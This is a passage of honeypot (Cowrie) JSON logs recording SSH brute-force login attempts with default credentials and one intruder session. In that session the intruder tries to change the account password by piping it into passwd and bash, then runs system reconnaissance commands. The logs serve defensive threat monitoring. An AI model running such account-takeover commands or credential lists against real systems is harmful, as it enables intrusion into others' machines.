roup1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:28.840329Z","src_ip":"41.86.34.139","session":"de5e015c2ae3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localadmin","password":"localadmin","message":"login attempt [localadmin/localadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:29.184372Z","src_ip":"141.11.88.14","session":"3a934ffeb775","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:29.662535Z","src_ip":"41.86.34.139","session":"de5e015c2ae3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:30.267852Z","src_ip":"141.11.88.14","session":"3a934ffeb775","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:30.873912Z","src_ip":"41.86.34.139","session":"de5e015c2ae3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"41.86.34.139","src_port":55222,"dst_ip":"10.17.0.5","dst_port":22,"session":"c173a67361e7","protocol":"ssh","message":"New connection: 41.86.34.139:55222 (10.17.0.5:22) [session: c173a67361e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:31.077705Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:31.082002Z","src_ip":"41.86.34.139","session":"c173a67361e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:31.289925Z","src_ip":"41.86.34.139","session":"c173a67361e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:32.154855Z","src_ip":"41.86.34.139","session":"c173a67361e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:33.365826Z","src_ip":"41.86.34.139","session":"c173a67361e7","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:33.626182Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:33.630184Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:34.048401Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:34.308123Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"admin@2023\\nyeG3qzc8wGwa\\nyeG3qzc8wGwa\"|passwd|bash","message":"CMD: echo -e \"admin@2023\\nyeG3qzc8wGwa\\nyeG3qzc8wGwa\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:34.311518Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:34.315399Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:34.318357Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/85cee5614654dda94c7e1897cbedf12622d1cf815d054baadfd2bc11cbf696fd","size":32,"shasum":"85cee5614654dda94c7e1897cbedf12622d1cf815d054baadfd2bc11cbf696fd","duplicate":false,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/85cee5614654dda94c7e1897cbedf12622d1cf815d054baadfd2bc11cbf696fd after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:34.737242Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:34.997137Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"admin@2023\\nyeG3qzc8wGwa\\nyeG3qzc8wGwa\\n\"|passwd","message":"CMD: echo \"admin@2023\\nyeG3qzc8wGwa\\nyeG3qzc8wGwa\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:35.000231Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.59681248664856,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:35.268911Z","src_ip":"128.199.8.54","session":"bdaa06f8692c","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a68e15d174caeeb2d6711aedfe477039bf69d9f5b75df0ec745e7985d9fd59c2","size":25,"shasum":"a68e15d174caeeb2d6711aedfe477039bf69d9f5b75df0ec745e7985d9fd59c2","duplicate":false,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/a68e15d174caeeb2d6711aedfe477039bf69d9f5b75df0ec745e7985d9fd59c2 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:35.419792Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":17262,"dst_ip":"10.17.0.5","dst_port":22,"session":"326291f06971","protocol":"ssh","message":"New connection: 141.11.88.14:17262 (10.17.0.5:22) [session: 326291f06971]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:35.488564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:35.493481Z","src_ip":"141.11.88.14","session":"326291f06971","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:35.576999Z","src_ip":"141.11.88.14","session":"326291f06971","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:35.679196Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:35.682479Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"Deploy@123","message":"login attempt [deploy/Deploy@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:36.061607Z","src_ip":"141.11.88.14","session":"326291f06971","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:36.099760Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:36.366369Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:36.369311Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":26,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:36.786040Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:37.045263Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:37.048265Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:37.050480Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:37.245715Z","src_ip":"141.11.88.14","session":"326291f06971","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":65,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:37.470834Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:37.757287Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:37.760900Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:38.178283Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:38.435597Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:38.438653Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":204,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:38.856131Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:39.114208Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:39.116960Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:39.533471Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:39.819426Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:39.822704Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:40.240403Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:40.503573Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:40.506993Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:40.924906Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:41.186048Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:41.189288Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:41.607328Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:41.873096Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:41.876979Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39256,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b5d11ab925b","protocol":"ssh","message":"New connection: 141.11.88.14:39256 (10.17.0.5:22) [session: 0b5d11ab925b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:42.121501Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:42.293750Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:42.334222Z","src_ip":"141.11.88.14","session":"0b5d11ab925b","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:42.553702Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T17:49:42.556882Z","src_ip":"41.86.34.139","session":"2ee590606b85","protocol":"ssh"}
